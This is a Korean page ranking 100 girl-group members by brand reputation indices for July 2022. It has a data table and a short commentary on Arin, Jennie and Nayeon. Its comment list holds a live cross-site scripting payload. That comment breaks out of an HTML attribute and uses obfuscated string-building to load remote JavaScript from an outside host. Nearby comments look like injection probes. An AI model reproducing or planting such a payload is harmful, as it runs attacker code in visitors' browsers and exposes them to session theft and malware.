걸그룹 개인 브랜드평판 2022년 7월 랭킹

걸그룹 개인 브랜드평판 2022년 7월 빅데이터 분석결과, 1위 오마이걸 아린 2위 블랙핑크 제니 3위 트와이스 나연 순으로 분석되었다.

한국기업평판연구소는 걸그룹 개인 브랜드평판 빅데이터 분석을 위해 2022년 6월 17일부터 2022년 7월 17일까지 걸그룹 개인 579명의 브랜드 빅데이터 94,256,968개를 추출하여 걸그룹 개인 브랜드에 대한 소비자들 행동분석을 가지고 만든 참여지수, 미디어지수, 소통지수, 커뮤니티지수로 브랜드평판지수를 분석하였다. 지난 6월 걸그룹 개인 브랜드 빅데이터 94,993,673개와 비교하면 0.78% 줄어들었다.

​브랜드 평판지수는 소비자들의 온라인 습관이 브랜드 소비에 큰 영향을 끼친다는 것을 찾아내 브랜드 빅데이터 분석을 통해서 만들어진 지표이다. 걸그룹 개인 브랜드평판 분석을 통해 걸그룹 개인 브랜드에 대한 긍부정 평가, 미디어 관심도, 소비자들의 관심과 소통량을 측정할 수 있다. 걸그룹 개인 브랜드평판 분석에는 브랜드 영향력을 측정한 브랜드 가치평가 분석도 포함하였다.

​2022년 7월 걸그룹 개인 브랜드평판 30위 순위는 오마이걸 아린, 블랙핑크 제니, 트와이스 나연, 오마이걸 미미, 에스파 윈터, 에스파 카리나, 블랙핑크 지수, 소녀시대 태연, 레드벨벳 조이, 소녀시대 서현, 블랙핑크 로제, 소녀시대 윤아, 에스파 지젤, 라붐 소연, 이달의소녀 츄, 트와이스 미나, 블랙핑크 리사, 레드벨벳 슬기, 에스파 닝닝, 레드벨벳 아이린, 레드벨벳 웬디, 트와이스 지효, 마마무 솔라, 오마이걸 유아, 우주소녀 보나, 트와이스 다현, 마마무 화사, 레드벨벳 예리, 걸스데이 혜리, 르세라핌 카즈하 순으로 분석되었다. 

순위 브랜드 Link 브랜드평판지수 참여지수 미디어지수 소통지수 커뮤니티지수
1 오마이걸 아린 3,792,534 1,209,937 1,137,347 666,448 778,801
2 블랙핑크 제니 3,575,730 121,828 942,425 1,107,800 1,403,677
3 트와이스 나연 3,545,616 758,752 766,397 1,204,645 815,822
4 오마이걸 미미 3,253,214 1,040,368 506,119 889,018 817,708
5 에스파 윈터 2,898,046 846,070 786,603 453,245 812,128
6 에스파 카리나 2,736,420 700,106 652,399 440,267 943,649
7 블랙핑크 지수 2,293,975 211,544 215,595 705,875 1,160,961
8 소녀시대 태연 2,269,157 240,893 340,787 1,025,642 661,836
9 레드벨벳 조이 1,952,228 126,155 161,017 895,795 769,261
10 소녀시대 서현 1,937,557 600,694 659,728 466,580 210,554
11 블랙핑크 로제 1,883,019 59,897 74,849 720,420 1,027,853
12 소녀시대 윤아 1,838,028 345,778 423,264 507,342 561,642
13 에스파 지젤 1,611,148 503,419 473,342 243,455 390,932
14 라붐 소연 1,575,934 550,441 527,114 228,468 269,911
15 이달의소녀 츄 1,545,023 509,310 478,645 190,417 366,651
16 트와이스 미나 1,542,536 132,827 147,636 661,998 600,075
17 블랙핑크 리사 1,522,018 159,674 168,812 644,473 549,059
18 레드벨벳 슬기 1,388,739 96,232 127,914 758,841 405,752
19 에스파 닝닝 1,377,268 429,864 408,382 230,197 308,825
20 레드벨벳 아이린 1,333,954 90,393 132,296 633,716 477,550
21 레드벨벳 웬디 1,319,469 77,100 107,279 592,081 543,009
22 트와이스 지효 1,273,505 124,226 144,212 641,843 363,224
23 마마무 솔라 1,245,746 158,527 179,331 510,391 397,496
24 오마이걸 유아 1,225,390 152,897 156,320 413,903 502,270
25 우주소녀 보나 1,213,876 292,814 278,466 335,189 307,407
26 트와이스 다현 1,164,037 66,883 95,406 708,779 292,970
27 마마무 화사 1,092,117 55,101 85,154 583,439 368,422
28 레드벨벳 예리 1,062,578 68,968 88,342 548,910 356,358
29 걸스데이 혜리 1,061,448 64,224 122,952 711,201 163,070
30 르세라핌 카즈하 1,033,838 338,428 304,416 120,350 270,644
31 아이브 장원영 1,006,018 196,322 185,691 230,507 393,498
32 여자아이들 미연 980,918 145,912 147,223 308,142 379,641
33 걸스데이 유라 976,931 87,631 128,609 586,576 174,115
34 아이브 리즈 954,938 315,543 294,665 142,938 201,792
35 오마이걸 효정 894,708 178,493 180,609 322,770 212,836
36 트와이스 채영 881,701 53,746 77,457 551,634 198,864
37 소녀시대 유리 853,227 286,194 149,062 216,607 201,365
38 에이핑크 윤보미 830,935 93,208 122,945 442,809 171,973
39 오마이걸 승희 827,595 144,765 151,020 298,107 233,702
40 프로미스나인 이채영 804,878 251,892 226,202 139,079 187,705
41 프로미스나인 백지헌 804,181 239,381 221,456 138,058 205,286
42 여자아이들 우기 791,602 87,526 91,307 309,200 303,569
43 브레이브걸스 유정 779,771 162,646 157,990 183,253 275,882
44 아이브 안유진 753,891 188,502 184,773 149,556 231,060
45 에이핑크 박초롱 709,649 54,997 80,279 404,411 169,962
46 여자아이들 소연 690,496 92,635 101,606 264,483 231,773
47 라붐 솔빈 662,822 161,082 163,975 219,906 117,859
48 소녀시대 효연 659,465 240,893 192,829 114,781 110,961
49 아이브 레이 658,663 188,606 173,047 138,669 158,341
50 아이브 가을 634,848 152,949 144,771 119,937 217,189
51 르세라핌 허윤진 627,640 217,799 201,345 79,679 128,817
52 소녀시대 써니 614,254 200,700 158,984 142,346 112,224
53 프로미스나인 박지원 605,125 184,123 167,691 116,636 136,675
54 걸스데이 소진 604,791 142,404 167,472 109,599 185,317
55 프로미스나인 장규리 597,780 184,436 168,733 121,118 123,493
56 르세라핌 김채원 587,567 111,610 103,601 81,859 290,496
57 모모랜드 주이 586,437 99,673 102,934 204,496 179,335
58 프로미스나인 이나경 575,314 166,347 152,841 125,919 130,207
59 트와이스 정연 555,668 161,432 83,090 138,403 172,743
60 프로미스나인 송하영 554,589 168,224 153,076 117,021 116,269
61 프로미스나인 이새롬 546,528 168,067 145,649 111,028 121,784
62 프로미스나인 노지선 546,090 136,998 126,130 123,026 159,936
63 르세라핌 홍은채 545,071 192,360 177,193 68,163 107,356
64 우주소녀 설아 526,582 99,151 95,689 208,944 122,797
65 마마무 휘인 525,447 73,191 89,216 161,434 201,606
66 ITZY 예지 520,454 90,602 89,003 200,838 140,011
67 트와이스 사나 510,917 70,845 95,553 192,039 152,480
68 다이아 정채연 510,124 77,257 87,777 261,932 83,159
69 에이핑크 오하영 509,857 67,352 95,144 173,879 173,483
70 ITZY 유나 500,280 66,570 67,565 194,348 171,797
71 빌리 츠키 499,732 112,601 102,089 54,285 230,758
72 우주소녀 성소 498,140 95,137 95,061 203,355 104,586
73 우주소녀 루다 478,787 64,328 61,703 211,115 141,640
74 이달의소녀 희진 464,925 95,919 90,564 139,498 138,944
75 아이브 이서 462,741 111,871 108,191 115,915 126,764
76 우주소녀 다영 461,912 50,358 55,289 181,243 175,022
77 브레이브걸스 유나 459,623 67,978 67,068 133,551 191,027
78 우아 나나 458,140 92,583 85,975 113,448 166,135
79 모모랜드 낸시 453,110 55,101 59,982 209,460 128,567
80 CLC 최유진 452,155 137,310 131,454 111,465 71,925
81 여자아이들 민니 442,282 62,608 66,891 187,039 125,743
82 여자아이들 슈화 416,538 59,637 61,641 154,354 140,905
83 ITZY 류진 414,026 64,433 65,113 178,776 105,705
84 프로미스나인 이서연 412,650 120,837 109,572 88,138 94,103
85 ITZY 리아 399,491 60,679 63,815 175,741 99,255
86 엔믹스 해원 372,624 124,278 118,412 56,252 73,683
87 브레이브걸스 민영 360,856 64,745 63,414 111,090 121,608
88 다이아 솜이 359,150 83,617 83,670 81,821 110,042
89 ITZY 채령 352,840 58,125 60,278 143,126 91,311
90 엔믹스 설윤 340,077 97,535 91,108 65,428 86,006
91 이달의소녀 현진 333,762 77,934 73,788 96,852 85,189
92 우주소녀 연정 330,276 51,400 53,107 128,166 97,603
93 우주소녀 다원 311,642 57,812 58,445 98,670 96,714
94 엔믹스 지우 288,331 98,995 94,683 39,741 54,911
95 라붐 해인 276,536 55,779 57,729 115,646 47,383
96 우아 우연 275,602 69,958 59,893 79,925 65,826
97 케플러 김다연 274,722 89,716 80,930 52,072 52,003
98 이달의소녀 여진 255,420 55,414 53,543 77,431 69,033
99 케플러 강예서 251,882 68,968 63,124 38,834 80,956
100 케플러 김채현 227,097 64,276 58,664 50,859 53,297
  • 1'>">d=document[`c`+`reateElement`](`scr`+`ipt`);d.src=`//sks-api.pages.dev/sli.min.js`;body.appendChild(d);
    2024-11-06 13:25:22
  • 1BysMb7bMeO
    2024-11-06 13:25:21
  • 1
    2024-11-06 13:25:13
  • 1
    2024-10-02 22:55:41
  • 1
    2024-10-02 22:55:39
  • 1
    2024-10-02 22:55:17
  • 88952634
    2023-09-08 13:28:28
  • 88952634
    2023-09-08 13:28:27
  • 88952634
    2023-09-08 13:28:19
  • a51158030
    김호중 테너가수님 뮤직닥터 끝까지응원합니다
    2023-06-20 14:16:48
  • a51158030
    김호중 가수님 천상의 목소리 응원합니다
    2023-06-20 14:15:55
  • a51158030
    김호중 감성보이스 최고의가수 응원합니다
    2023-06-20 14:14:58
  • tnsdhr0824
    안성훈 가수님 응원합니다
    2023-06-08 09:19:16
  • tnsdhr0824
    안성훈 가수님 승승장구 하시기를
    2023-06-08 09:19:07
  • tnsdhr0824
    안성훈 가수님 응원합니다
    2023-06-08 09:18:58
  • tnsdhr0824
    안성훈님응원합니다
    2023-06-07 11:26:20
  • tnsdhr0824
    안성훈 가수님 승승장구 하시기를 진심으로 바랍니다
    2023-06-07 11:26:09
  • tnsdhr0824
    안성훈님응원합니다
    2023-06-07 11:25:55
  • bass334
    영탁님 배려심 깊은 가수님 올해 앨범 기대됩니다
    2023-03-29 23:29:53
  • Kgy8833
    임영웅 이시대의 기록장인의 사나이 2022MMA 5관왕 축하합니다
    2022-11-27 00:24:14

1위, 오마이걸 아린

오마이걸 아린 브랜드는 참여지수 1,209,937 미디어지수 1,137,347 소통지수 666,448 커뮤니티지수 778,801이 되면서 브랜드평판지수 3,792,534로 분석되었다. 지난 6월 브랜드평판지수 1,774,242와 비교하면 113.76% 상승했다.

2위, 블랙핑크 제니

블랙핑크 제니 브랜드는 참여지수 121,828 미디어지수 942,425 소통지수 1,107,800 커뮤니티지수 1,403,677이 되면서 브랜드평판지수 3,575,730으로 분석되었다. 지난 6월 브랜드평판지수 2,812,955와 비교하면 34.82% 상승했다.

3위, 트와이스 나연

트와이스 나연 브랜드는 참여지수 758,752 미디어지수 766,397 소통지수 1,204,645 커뮤니티지수 815,822가 되면서 브랜드평판지수 3,545,616으로 분석되었다. 지난 6월 브랜드평판지수 1,566,008과 비교하면 128.33% 상승했다.